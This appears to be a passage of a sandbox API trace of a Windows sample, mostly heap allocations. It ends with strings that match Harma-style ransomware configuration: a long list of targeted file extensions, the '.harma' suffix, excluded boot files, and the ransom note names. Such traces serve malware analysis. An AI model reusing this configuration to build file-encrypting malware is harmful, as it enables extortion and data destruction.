RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9a08 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9a20 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9a38 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9a50 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5d9a68 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9a80 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5d9a98 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9ab0 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9ac8 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9ae0 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9af8 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5d7ad0 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9b10 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9b28 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9b40 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9b58 [0036.500] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d9198, Size=0x200) returned 0x5d9198 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9b70 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5d52d8 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9b88 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9bc8 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9be0 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9bf8 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9c10 [0036.500] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9c28 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9c40 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9c58 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9c70 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9c88 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9ca0 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9cb8 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9cd0 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9ce8 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9d00 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9d18 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9d30 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9d48 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9d60 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9d78 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9d90 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5d52e8 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9da8 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9dc0 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9dd8 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5d9fc8 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9df0 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9e08 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9e20 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9e38 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9e50 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9e68 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9e80 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9e98 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9eb0 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9ec8 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9ee0 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9ef8 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9f10 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5d9f28 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9f40 [0036.501] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9f58 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9f70 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5d9f88 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec468 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec480 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec498 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5d9fd8 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5d9fe8 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec4b0 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec4c8 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec4e0 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec4f8 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec510 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ec528 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec540 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec558 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec570 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec588 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ec5a0 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec5b8 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec5d0 [0036.502] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d9198, Size=0x400) returned 0x5d9198 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec5e8 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec600 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ec618 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec630 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec648 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec660 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ec678 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec690 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec6a8 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec6c0 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5d9ff8 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec6d8 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ec6f0 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec708 [0036.502] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec720 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec738 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec750 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5ec768 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec780 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec798 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec7b0 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec7c8 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec7e0 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec7f8 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec810 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec828 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5da008 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec868 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec880 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec898 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec8b0 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec8c8 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec8e0 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec8f8 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec910 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec928 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5ec940 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec958 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5ec970 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec988 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec9a0 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec9b8 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec9d0 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ec9e8 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5eca00 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5eca18 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5eca30 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5eca48 [0036.503] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5eca60 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5eca78 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5eca90 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecaa8 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecac0 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecad8 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecaf0 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecb08 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecb20 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecb38 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecb50 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecb68 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecb80 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecb98 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5ecbb0 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12) returned 0x5d5f00 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecbc8 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecbe0 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecbf8 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecc10 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecc28 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecc68 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecc80 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecc98 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5eccb0 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5eccc8 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecce0 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5eccf8 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecd10 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecd28 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecd40 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecd58 [0036.504] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecd70 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecd88 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecda0 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecdb8 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ecdd0 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ecde8 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ece00 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5ece18 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ece30 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5da018 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ece48 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5da028 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ece60 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ece78 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ece90 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ecea8 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ecec0 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5eced8 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ecef0 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecf08 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecf20 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ecf38 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecf50 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ecf68 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5ecf80 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecf98 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5da038 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecfb0 [0036.505] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5ecfc8 [0036.505] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d9198, Size=0x800) returned 0x5ed450 [0036.506] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0036.506] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5eb448 | out: hHeap=0x5a0000) returned 1 [0036.506] lstrlenW (lpString="") returned 0 [0036.506] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5edd90 | out: hHeap=0x5a0000) returned 1 [0036.506] lstrlenW (lpString=".harma") returned 6 [0036.506] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4750, Size=0x8) returned 0x5b4750 [0036.506] lstrlenW (lpString=".harma") returned 6 [0036.506] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5edd90 | out: hHeap=0x5a0000) returned 1 [0036.506] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eddc0, Size=0x20) returned 0x5b4370 [0036.506] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4370, Size=0x40) returned 0x5d6a80 [0036.506] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6a80, Size=0x80) returned 0x5fb450 [0036.506] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0a8, Size=0x8) returned 0x5da0b8 [0036.506] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0b8, Size=0x10) returned 0x5eddc0 [0036.506] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eddc0, Size=0x20) returned 0x5b4348 [0036.506] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0036.506] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb450 | out: hHeap=0x5a0000) returned 1 [0036.506] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eddf0, Size=0x20) returned 0x5d5930 [0036.506] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5930, Size=0x40) returned 0x5d6a80 [0036.506] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0036.507] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0036.507] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d6a80 | out: hHeap=0x5a0000) returned 1 [0036.507] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eddf0, Size=0x20) returned 0x5d5930 [0036.507] lstrlenW (lpString="Info.hta") returned 8 [0036.507] lstrlenW (lpString="Info.hta") returned 8 [0036.507] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5930 | out: hHeap=0x5a0000) returned 1 [0036.507] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x60d440, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3G6885.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3g6885.exe")) returned 0x30 [0036.507] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60d440 | out: hHeap=0x5a0000) returned 1 [0036.507] lstrlenW (lpString="3G6885.exe") returned 10 [0036.507] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4348, Size=0x40) returned 0x5d6a80 [0036.507] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eddf0, Size=0x20) returned 0x5b4348 [0036.507] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eddf0, Size=0x20) returned 0x5d5930 [0036.507] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5930, Size=0x40) returned 0x5d6ac8 [0036.507] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6ac8, Size=0x80) returned 0x5fb450 [0036.507] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5eb448 [0036.507] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5eb448 | out: hHeap=0x5a0000) returned 1 [0036.508] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x60d440, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0036.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61d448 | out: hHeap=0x5a0000) returned 1 [0036.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60d440 | out: hHeap=0x5a0000) returned 1 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0b8, Size=0x8) returned 0x5da0a8 [0036.508] lstrlenW (lpString="%windir%;") returned 9 [0036.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b4348 | out: 